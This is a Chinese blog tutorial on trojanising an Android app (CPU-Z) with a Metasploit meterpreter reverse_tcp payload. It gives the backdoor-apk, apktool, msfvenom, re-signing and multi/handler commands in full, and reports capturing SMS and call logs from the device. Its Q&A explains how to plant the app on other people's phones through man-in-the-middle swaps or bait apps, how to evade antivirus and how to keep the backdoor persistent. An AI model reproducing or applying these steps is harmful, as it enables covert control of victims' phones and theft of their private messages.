对Android应用植入后门 实现msf控制(附带所需工具和常见坑解决办法)

本人刚入msf坑不久,对于Android的渗透比较感兴趣,于是在网上寻找了很久资料,但是发现很多实现方法都会出现各种奇怪报错,于是我花了点时间,在外面的世界找解决方案,总算实现成功,故整理文章,供正在困惑和迷茫中挣扎的小伙伴们互相交流。

 

下面进入正题:我们的思路是对一个安卓应用注入msf生成的payload后门,并实现内网范围或是外网范围内的持续控制,这样就会实现后门随正常应用启动,但不易被发现。文中会提供一些思路拓展,如果需要,我可以再展开来讲。对于很多萌新来说,过程中往往会遇到很多解决不了的麻烦,我会在文章中尽可能覆盖。

第一步,工具准备:

a) Kali 2017.02(https://www.kali.org/downloads/)

b) backdoor-apk(https://github.com/dana-at-cp/backdoor-apk.git)

c) Apktool(https://ibotpeaches.github.io/Apktool/)

d) 测试Apk:CPU-Z(https://pan.baidu.com/s/1kUHN2YV)

第二步,环境处理:

这一步也是很多小伙伴们最大的问题之一,Kali中自带的Apktool版本较旧,导致关键步骤失败,下面看步骤。

a) 下载最新版Apktool(上文已提供链接),下载成功后将文件名修改为apktool.jar,复制粘贴替换掉kali中的/usr/share/apktool/apktool.jar

b) 下载backdoor-apk:打开终端,输入命令git clone https://github.com/dana-at-cp/backdoor-apk.git,回车。

3589447156cb4b64a5c084b0140a6edf.webp

 

c) 安装兼容库:终端内输入命令 apt-get install lib32stdc++6 lib32ncurses5 lib32z1,回车。由于我这里已经安装完成,故不再演示。

6047a4636286428a9ed7ae8a0ed84209.webp

 

d) 运行backdoor-apk:终端输入命令cd backdoor-apk/backdoor-apk,回车。

7b490054c28f40e3825a78c63189c69c.webp

 

e) 下载CPU-Z,并将其改名为1.apk,移动到/root/backdoor-apk/backdoor-apk目录下(注:与脚本同目录)。

051101a1ea8a47d7b7ae8e7b647cc7b3.jpg

 

f) 注入payload:终端输入命令./backdoor-apk.sh 1.apk,回车。

g) 打开新终端,输入命令ifconfig查看自己的ip。

d48a551138a44a4ba0d1b9558b400350.webp

 

h) 回到我们之前的终端,配置payload参数,按照图中的配置,其中IP替换为自己的IP。

9b2197521d8a439c90b17152acaa8c66.webp

 

i) 此时,payload已经成功注入我们的CPU-Z中,但是很多小伙伴会发现,安装后无法正常使用功能,这时候就需要为其添加权限,首先找到我们生成的CPU-Z,生成在/root/backdoor-apk/backdoor-apk/original/dist目录下。

j) 接下来,使用Apktool反编译此文件。为了方便区分,我们将此apk名修改为2.apk,并移动到root目录下。

c291f85fadd7497d92d5a1d06d144848.webp

 

k) 下面使用Apktool反编译,打开终端,输入命令apktool d /root/2.apk,回车。

541c1675a38242a9b730f7e7b495dd0f.webp

 

l) 此时我们的apk已经反编译完成,打开目录2下的AndroidManifest.xml,我们会发现此时这个apk所声明的权限很少,并不能实现我们所需要的功能,此时就需要声明更多权限。

48b28e0a422542f793d456669c5e8a66.webp

 

m) 此时很多小伙伴就会有疑问:我对android代码一无所知,怎么知道我们的payload需要些什么权限呢?这可难不倒我们,我们可以用msf生成一个原始的payload,反编译这个apk,去查看它声明了哪些权限,复制进来就可以了,下面我们继续操作。

n) 在终端中输入命令msfvenom -p android/meterpreter/reverse_tcp LHOST=10.161.94.25 LPORT=4444 -o 3.apk,就可以在root目录下生成一个3.apk的payload,并且按照我们之前k中的步骤反编译。

55f3f658c3a34516bc979fe83e75e6e4.webp

 

o) 此时,反编译已经完成,我们来看看payload声明了哪些权限。

9f9137150aae4fbf91ed2819f856da67.webp

 

p) 好的,我们复制这些代码到我们2目录下的相同位置处并保存,但要注意不能重复声明。

q) 此时我们最关键的声明权限步骤已经完成,接下来要做的就是使用Apktool打包应用,并为其添加签名。终端中输入命令,apktool b /root/,回车,此时应用打包就完成了。新应用会存放在/root/2/dist/2.apk这个位置。为了方便区分,我们将其文件名修改为4.apk,并移动到root目录下。当然,此时的应用还是未签名的,下一步,我们对其进行签名操作。

11769fc67fba41d88ba85b3ef2f231f3.webp

 

r) 首先需要生成签名证书KEYSTORE,终端中输入命令keytool -genkey -alias android.keystore -keyalg RSA -validity 20000 -keystore android.keystore,回车。

参数说明:

-genkey 生成文件
-alias 别名
-keyalg 加密算法
-validity 有效期
-keystore 文件名

fb9f7a7c98064fb7aac2e004abc8af02.webp

 

最后一步输入Y确认输入并回车,即可。

s) 这样就生成好了签名证书,接下来我们对apk进行签名。终端中输入命令jarsigner -verbose -keystore android.keystore -signedjar 4_signed.apk 4.apk android.keystore,回车。

参数说明:

4_signed.apk是签名之后的文件
4.apk是需要签名的文件

9acafc2388f74640a012fd1a7bc10916.webp

 

9797560b5d6a478281d73da36ceb20fa.jpg

 

t) 此时,应用签名已经完成,我们可以进行测试了。将签名后的4_signed.apk安装到手机上。

u) 下一步,打开msf控制台,设置好监听参数后,等待上线。打开终端,输入命令msfconsole,回车。进入msf控制台。

输入命令use exploit/multi/handler,回车。

输入set PAYLOAD android/meterpreter/reverse_tcp,回车。

输入set LHOST 10.161.94.25,回车。

输入set LPORT 4444,回车。

此时,我们的监听参数已经设置完成。

fb905e40b617456bbbde18429b4be18c.webp

 

v) 输入exploit,开始监听。

cbcc19cb09da43ce881d5c7de301a4cf.webp

 

w) 此时打开手机,可以看到我们的应用申请了许多权限。

58aa4aa33c7d457696942f1110fb7371.png

 

cd097b62dde141d5afd0254262be2c50.png

 

x) 打开CPU-Z,此时回到kali,msf中已经监听到上线。

0f78dc2c2c73467886ac8ac26558a0fc.webp

 

 

y) 输入命令sessions,可以查看设备列表。再次输入sessions 1,即可获得设备控制权。输入sysinfo查看系统信息。

73d9b58532aa41b6b30eb7a6efa220c7.webp

 

 

z) 我测试了本机的短信截取和通话记录截取,可行。

8ffc646593154c029b3fae0f90432bfb.png

 

68464b42bdf54eeaa4523ce5fe3ff460.png

 

在这里粘上一张命令图,这里就复制别人的图了。

8866c3ce56e74e718c92f54ff6d01869.png

 

第三步,拓展:

看到这里,很多小伙伴就会有许多疑问。我这里给出一些简单的拓展回答,如果需要,可以在评论区和我交流。

Q:如果我在不同内网环境下,怎么上线呢?

A:有很多解决办法,这里提供两种思路。1.使用vps转发来达到上线目的。2.使用Ngrok等工具做内网穿透。

Q:怎样把后门程序安装到别人的手机上呢?

A:这里就有无数种思路了,比如可以做中间人欺骗,来替换下载的程序绑马,或者是将后门添加到其他人比较感兴趣的应用中去。

Q:为什么我换了其他的应用,使用backdoor-apk,最后一步就报错呢?

A:很多应用做了处理,防止一般的反编译,可以采取手动注入手段或者使用其他如spade等达到目的。其中手动注入要有一点点难度,但也很简单,只要理解了就好办。

Q:这个后门软件会被杀毒软件报毒么?

A:本人做了测试,是报安全的。但不排除特定的杀毒软件查到特征,可以自己做混淆免杀处理,很多种方法逃避查杀,在这里不展开讲了。

Q:如果重启以后掉线,或是一段时间自动掉线了怎么解决呢?

A:这里提供两种思路。1.找开机自启的应用来保证每次开机都会启动。2.自写守护脚本,用shell运行。

对以上内容有感兴趣的小伙伴,欢迎在评论区提问,或是发消息给我,我会尽我所能为其解答。

 

记得关注我呀

推荐阅读

2.1 窗口和控件

2.1.1 窗口定义窗口:当一个部件没有嵌入到其他部件中,则把这个部件叫作窗口或者顶层窗口,顶层窗口是没有父窗口的,一般的,这些窗口都会被列在任务栏中。通常,一个窗口会包含有标题栏,…

小豆君编程分享

移动端控件(一)-弹窗(Alert/Dialog)

行者陈 · 发表于交互细节整理

win10安装完Anaconda3之后cmd命令窗口输入conda显示不是内部或外部命令

南风有梦的梦

DOS窗口的使用

电脑耍了这么久,你该不会还不知道电脑的DOS命令窗口的使用吧? 命…

卡西莫多

 

 

  • 34
    点赞
  • 40
    收藏
    觉得还不错? 一键收藏
  • 7
    评论
评论 7
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值